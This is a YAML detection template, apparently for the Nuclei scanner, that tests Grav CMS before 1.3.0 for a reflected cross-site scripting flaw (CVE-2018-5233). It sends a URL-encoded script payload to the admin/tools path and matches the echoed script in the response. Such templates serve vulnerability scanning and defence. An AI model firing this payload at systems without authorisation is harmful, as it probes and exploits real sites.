id: CVE-2018-5233

info:
  name: Grav CMS before 1.3.0 allows XSS.
  author: pikpikcu
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in system/src/Grav/Common/Twig/Twig.php in Grav CMS before 1.3.0 allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5233
    - https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
    - http://www.openwall.com/lists/oss-security/2018/03/15/1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5233
    cwe-id: CWE-79
  tags: cve,cve2018,xss,grav

requests:
  - method: GET
    path:
      - "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html